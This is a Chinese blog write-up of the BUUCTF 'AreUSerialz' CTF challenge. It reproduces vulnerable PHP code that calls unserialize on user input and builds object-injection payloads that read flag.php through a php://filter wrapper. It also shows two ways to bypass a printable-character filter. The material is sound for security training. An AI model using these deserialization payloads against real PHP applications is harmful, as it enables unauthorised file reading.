首页 > 其他分享 >【BUUCTF】AreUSerialz

【BUUCTF】AreUSerialz

时间:2024-08-01 10:17:20浏览次数:14  
标签:00 BUUCTF AreUSerialz 22% 3A% content output 序列化

【BUUCTF】AreUSerialz (反序列化)

题目来源

收录于:BUUCTF  网鼎杯 2020 青龙组

题目描述

根据PHP代码进行反序列化

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $op = "1";
        $filename = "/tmp/tmpfile";
        $content = "Hello World!";
        $this->process();
    }

    public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }

    private function write() {
        if(isset($this->filename) && isset($this->content)) {
            if(strlen((string)$this->content) > 100) {
                $this->output("Too long!");
                die();
            }
            $res = file_put_contents($this->filename, $this->content);
            if($res) $this->output("Successful!");
            else $this->output("Failed!");
        } else {
            $this->output("Failed!");
        }
    }

    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }

    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

}

function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
            return false;
    return true;
}

if(isset($_GET{'str'})) {

    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        $obj = unserialize($str);
    }

}

题解

此题解题思路较为清晰,反序列化时依次调用的函数为:

__destruct()  ==>  process() ==>  read()

read()中的file_get_contents()中得到我们要读的文件。

这里直接给出构造的类

<?php

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}

$o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;

这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s的值为

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid(),用于检测传递的字符串中是否有不可打印的字符。

由于类中有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里。

这里有两种方式可以进行绕过

方式一

当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。
即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。

<?php

class FileHandler {

    public $op;
    public $filename;
    public $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}

$o = new FileHandler();
echo(urlencode(serialize($o)));

传入打印的字符串即可得到base64编码的flag

方式二

此方法并不改变变量的保护类型。

当我们向浏览器传递%00时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。
当我们向浏览器传递\00时,浏览器不会将其解析为单个字符。
下面用代码进行验证:

<?php

function is_valid($s) {
    echo "str_length=";         //输出字符串长度
    echo strlen($s);
    echo "<br>ASCII(str):  ";
    for($i = 0; $i < strlen($s); $i++){
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
            echo "invalid!!!";
            return false;
        }
        echo ord($s[$i]);       //输出每个字符的ASCII
        echo " ";
    }
    return true;
}

$str = (string)$_GET['str'];
is_valid($str);

?>

img

img

因此我们将%00替换为\00,就可以绕开ord()的判断。但是这样一来,反序列化时\00将无法正确解析为单个字符。

我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。

于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。

<?php

class FileHandler {

    protected $op;
    protected $filename;
    protected $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "php://filter/convert.base64-encode/resource=flag.php";
        $this->content = "Hello World!";      //$content的值随意

    }
}

$o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;

img

将红框内的小写 s 替换为大写 S,得到的payload为

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

总结

当遇到不可打印字符被过滤时,有两种方法:

  • PHP版本>=7.2时,可将protected直接修改为public

  • 将序列化后的字符串中的%00修改为\00,并将保护类型为protected的变量的变量类型由s改为S

标签:00,BUUCTF,AreUSerialz,22%,3A%,content,output,序列化
From: https://www.cnblogs.com/MrSoap/p/18336106

相关文章

  • BUUCTF [GXYCTF2019]simple CPP
    buu上的一道z3题,记录一下z3奇怪的用法。首先扔进ida,打开主函数,非常混乱的算法,大概发现两个关键点:这里应该是对flag进行异或得到v6而这里的比较应该就是求解flag的关键,可以看出来有四个未知数,求解也是非常简单,z3直接求解即可:fromz3import*x,y,z,w=BitVecs("xyz......
  • BUUCTF GWCTF2019 re3
    挺有意思的一题,记录一下主要思路为smc解密+AES算法扔进ida后找到主函数:发现函数地址异或,推测为smc,先按d转化为数据,然后直接使用python脚本解密:fromida_bytesimport*ea=0x402219foriinrange(0,224):patch_bytes(ea+i,bytes(ea+i)^0x99)选中按p生成......
  • BUUCTF-Exec(Web)
    1.相关知识Ping命令ping命令通常用来作为网络可用性的检查。ping命令可以对一个网络地址发送测试数据包,看该网络地址是否有响应并统计响应时间,以此来测试网络的连通情况和测试网络速度。ping命令执行后会显示一系列Replyfrom或者Requesttimeout这样的结果。前者表示与对方......
  • BUUCTF-Include(Web)
    一、Include11.相关知识PHP://filterphp://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。具体详见:https://blog.csdn.net......
  • BUUCTF 6.[第五空间2019 决赛]PWN5 1
    拿到题目,先运行一下很明显地出现了一个重复我们的输入,以及一个判断的过程,那么我们可以猜测可能会有栈溢出漏洞,让我们继续保护是开了一个canary以及nx,大概率就不是栈溢出漏洞了,因为canary的存在会使栈溢出非常麻烦。我们看一下IDA存在栈溢出漏洞,但是由于长度不够,我们无法......
  • BUUCTF 5.level0
    很简单的一道栈溢出的题(不知道为啥解题人数却比前几个少)直接开干:看不出啥来保护只开了NX,我们看一下IDA很明了的一道题,直接秒exp:flag:......
  • BUUCTF 5.pwn1_sctf_2016
    拿到题目首先先运行。我们发现他是将我们输入的重新输出出来,但是第二次运行时,我输入超长字符串后,仅仅只是输出了一部分,所以我们可以猜测程序中应该有检测长度的部分,我们再检查一下保护机制。我们发现仅仅只是开了一个nx保护,那么我们直接看IDA我们发现主函数中仅仅只是调用......
  • BUUCTF 4.ciscn_2019_n_1
    拿到题目首先先运行程序我们发现给了我们一个数字,我们猜测应该是一个条件判断的程序,然后我们检查一下保护机制我们发现只开了NX(不可执行)保护,那我们直接看IDA就行了。main函数只是设定了无缓冲模式,以及调用了一个func函数,然后我们看一下我们可以看到gets和我们想要的flag,......
  • BUUCTF 3.warmup_csaw_2016
    拿到题目,我们先运行一下我们发现这道题的样子和BUUCTF的rip很像,一样是让我们输入,一样是在输入超长字符串后程序会崩溃,所以我们可以猜测是一道栈溢出的问题,我们来看一下保护机制我们发现依旧是几乎没开保护机制,所以大概率是一道栈溢出的题。我们看一下IDA我们发现最后的get......
  • BUUCTF 2.rip
    拿到题目首先运行一下我们可以看到在我第一次运行时我们发现他就是将我们输入的重新输出了一遍,我们可以猜测应该是gets函数输入,然后输出,那我们便可以测试第二次,我们输入一个超长字符串,发现程序崩溃了,我们可以猜测应该是程序没有对长度进行检测而导致的栈溢出,那么我们带着这个猜......